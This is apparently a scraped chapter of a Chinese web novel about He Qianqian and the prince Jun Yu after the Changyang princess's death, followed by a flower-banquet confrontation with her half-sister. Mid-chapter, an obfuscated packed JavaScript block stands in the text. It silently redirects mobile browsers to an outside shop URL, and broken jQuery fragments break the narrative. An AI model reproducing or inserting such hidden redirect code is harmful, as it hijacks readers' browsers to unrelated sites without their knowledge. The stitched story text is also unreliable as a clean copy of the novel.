蹲坐在屋檐上的贺浅浅早已噙满了眼泪。
“好感人啊……”
“嗯,是啊。”君聿肯定道。
“这个长公主,太坏了……”贺浅浅刚脱口而出,又意识到了什么,赶紧住了嘴。
庆阳可是君聿的亲姑姑!
完蛋了,那岂不是,朱芩说的那些话,他也全都听到了?
“嗯,她确实,性子就是这样,被仇家手刃,也算死得其所,死得不冤。”君聿淡淡地评价道。
“但是,她是你的姑姑……”
“也是这天下的罪人之一。”君聿转过头,轻声道,“他们做的坏事够多了……而且还坐享权贵多年,这么死,不算个坏结局。”
“那你呢。”贺浅浅转过头,“你也姓君,如果,如果东夏人有一天打过来了怎么办?你是不是也会被一起杀掉?”
“你的意思是,你会舍不得我?”
贺浅浅没有说话,抿了抿嘴。
这当然说不好了。
她首要想着的,是自己怎么活下去。
如果能留下他,那着实是再好不过。
毕竟他也算是君家为数不多的好人了。
君聿叹了口气:“我自幼便知道,身在某个位置上,就要付出一定的代价。就像是你的外祖是将军,那他就要日夜训练,熟读兵书,担起责任来。而我不只是个将军,还是一位皇子,所以我从出生开始,就担负着更重的使命。”
“我不能保证会守护着南离太平,但我知道,如果东夏哪一天挥师南下了,我会是国家的第一道防线。如果因为国家的内乱导致了农民起义,甚至水深火热,那么这是我们作为执政者的罪,我不会要求被赦免,因为我也是坐享其成者之一……”
听了这段话,贺浅浅赶紧别过头去,道:“既如此,为什么你不打算回到京城,去施行新政?如果能改变一些,为什么不试试……”
君聿摇了摇头,道:“已经没有这个必要了。我已经预见到了,南离倾覆的那天。所以,我甘愿死在沙场上,让敌军踩着我的尸体带来统一,解放这片大陆。我是一个旧时代的化身,没有必要去面对接下来的新时代。”
“不,你有!”贺浅浅急忙反驳道,“你相信我,你真的有!只要你能有足够的声望,足够的名誉,那么新时代会包容你的!”
作为曾经死过一次的人,更是先王妃,贺浅浅曾见过东夏律法的。
西域的君王投降了,留下了一线生机。
北盛的郡王由于名望过盛,作为一个标志,也是体现东夏人慈悲的方式,也被留在了封地,保持原来的待遇。
如果能够重现一统大陆的荣光,何不顺应时代?
“再说吧……”君聿轻轻摇了摇头,似乎被抽走了力气。
长公主的死对于他而言,已是一种情感冲击。
贺浅浅张了张嘴,想说点什么来打破这阵沉默,却发现自己一时也找不到合适的话。
庆阳长公主死了,就死在他们眼皮底下。
虽说朱芩手刃仇人那一段确实大快人心,但庆阳毕竟是君聿的亲姑姑,血缘这东西,就算再淡,也不是说断就能断的。
“你,还要回到赏花宴吗?”贺浅浅轻声问道,“要不要先回到皇子府?”
“不。”君聿摇了摇头,“现在还不时走的时候。”
庆阳长公主死后,比她辈分大的藩王就不剩几个了。
更何况,现在赏花宴内,除了君聿,就没有比他的爵位更大的人了。
不日,他便要封王,而其余的几位仍是皇子。
所以目前,只有他是能够站出来说几句话的。
“嗯。”贺浅浅点了点头,“长公主已死,你是该站出来主持大局。”
君聿也点了点头:“不错……可能,这就是她的命吧。树敌太多,最后死于自己的亲信。”
“不过,你没有突然飞身而下,拦住那个女官,倒是令我吃惊。”贺浅浅仔细回忆道。
“我和庆阳姑姑不熟。更何况,若是真的拦下了,反而……”
“你是不是早就想解决庆阳了?”贺浅浅突然问道。
君聿原本冷硬的脸上,突然迸出了一丝裂痕。
“不错。”君聿点了点头,应下了,“她身边的面首都是文官集团送来的。而她是父亲的妹妹,三言两语就能控制父皇的选择。考虑到种种因素,我自然会选择不救。”
“哈哈……我就知道。”贺浅浅凑近了他的身前,轻声道,“毕竟,你这种高位上的人,做什么事情的本意,都是要符合自身利益。”
听到了这番话,君聿有些无奈地摊开了手臂:“这又能怎样呢?对于民众而言,不乏好事一桩。”
“所以,这次是打算大操大办了?”
“不错。”君聿点了点头,“以姑姑的名义,向近畿赈灾。毕竟有些人死了的价值,要比活着大得多。”
好嘛,原来又是个黑芝麻汤圆。
“能不能带我一个?”贺浅浅抬起头,坚毅的眼神直直地望向君聿。
“哦?”君聿挑了挑眉,“理由。”
“嗯……”贺浅浅想都没想,回答道,“我感觉,按照你现在的阵营,应该缺少一个帮你赈灾的女人。你大多数忠实的部下死的死伤的伤,他们的配偶大多不适合赈灾——我说的有道理吗?”
“你是怎么知道这些的?”
“这当然不难。”贺浅浅耸了耸肩,“只要有心,就算是不查,也应该能大致猜到。按照我们的战损比,下一代能否健康成长还是个问题。”
“你这个嘴皮子,倒是很适合对外宣传。”
“那是自然。我想,这也是我能够胜任的理由之一。”贺浅浅笃定道,“你应该对我有自信。更何况,我也算军属,我的外祖和舅舅他们都在前线,我自然比别人更希望后方安稳。更何况,我想,我们都有共同的敌人。”
君聿沉思片刻,凝重地点了点头。
他似乎在脑中迅速过了一遍人员名单,发现自己能用的人,确实都是军队里的。
独眼、单臂、甚至缺了一条腿的伤残比比皆是……
稍微有一点亲和力的,似乎都找不到。
于是,他最终还是选择应允贺浅浅的请求。
“好。”君聿答应道,“不过,我还需要你,适当地帮助我的人。”
“你的人?”贺浅浅歪头,似乎有些不解。
“一些大病号。”君聿简明扼要地回答道,“他们都是上战场导致伤残。可能行动不便,需要你多担待。”
“嗯,放心好了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17829283|209546||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
贺浅浅点了点头,“只要你放心,我就能给你安排得妥当。”
主持这些活动什么的,她还是有不少经验的。
毕竟,她之前还傻傻地以为,自己和某人是一家人,以后的天下也是共享的。
现在她有了更高的追求,那么某人就必然会成为她的垫脚石之一了。
君聿点了点头:“回见。”
眨眼间,原本还站在她面前的男人,便飞檐走壁不见身影。
“小姐……”珠心见周围总算没人了,才敢凑上来。
“嗯。”
见贺浅浅这副心不在焉的模样,珠心好像知道她在想些什么。
“小姐,殿下他往前院走去了,我们要去看看吗?”珠心小心翼翼地询问道。
贺浅浅摇了摇头:“不必了,珠心。”
“那,我们接下来去哪?”
“自然是回赏花宴上去,看看我的好妹妹们,又在招什么笑。”
记住,你嫡姐,永远是你嫡姐。
你永远不可能玩得过你嫡姐的。
贺浅浅提起裙摆,就带着珠心,顺着沿途的路走了回去。
虽说这场赏花宴醉翁之意不在酒,但还是要好好走个过场的。
“哈哈哈哈哈哈哈,我那个姐姐?她不过是有娘生没娘养而已啦,压根不必在意!”
“当今毕竟是我嫡母掌家,哪有女儿能在母亲手下翻起风浪呢?”
“就是,就是!无论是谁,哪里能越得过小姐你去!”
“要我说,这种上不得台面的嫡女,就该废了才是呢!”
“就是就是,从小到大都没有漏过脸,也不知道有什么用!”
远远的,贺浅浅就能听见这些夫人小姐们的阿谀奉承声。
贺浅浅停下脚步,将自身隐蔽在半人多高的花盆之后,悄悄探出了头。
她认得出来,有不少都是上辈子的老面孔了。
那个笑得最开心的、最爱嘲讽别人的大小姐,是翰林院编修家里的,未来嫁给了一个三品大员。
在她身边的那个闺蜜,则嫁给了皇商,倒也不算高攀,因为她本来就是靠着攀附他人挤进圈子的。后来,由于变相腐败,所以她被流放到了西域。
至于她们身边那些阿谀奉承的小姐,有不少都因为自己的短视,葬送了整个家庭。
她们只会追随自己更强者的脚步,而非独立思考,导致到了最后关头,还在看别人的脸色,错失了活命的机会。
贺浅浅深吸了一口气,憋住了发自心底的笑意,才缓缓从藏身地走了出来。
一想到这些曾经嘲讽、看不起自己的人,上辈子死的死残的残,流放的流放、砍头的砍头,心里就无比的舒畅。
但是,有一个人看着贺浅浅这如沐春风的模样,就不得劲了。
“哦呦,这不是姐姐吗?”
贺微微一副贴心妹妹的模样,摇着扇子,眼神却上上下下地在贺浅浅的身上流转。
“好姐姐,这长公主办的赏花宴,你不来赏花,躲着是什么意思?我们很见不得人?”
听了这话,贺浅浅倒是绷不住了。
“你也知道你见不得光啊。婚前私通生下来的女儿,还穿金带银地鸠占鹊巢,无论是放在谁家,都已经很宽容了吧?”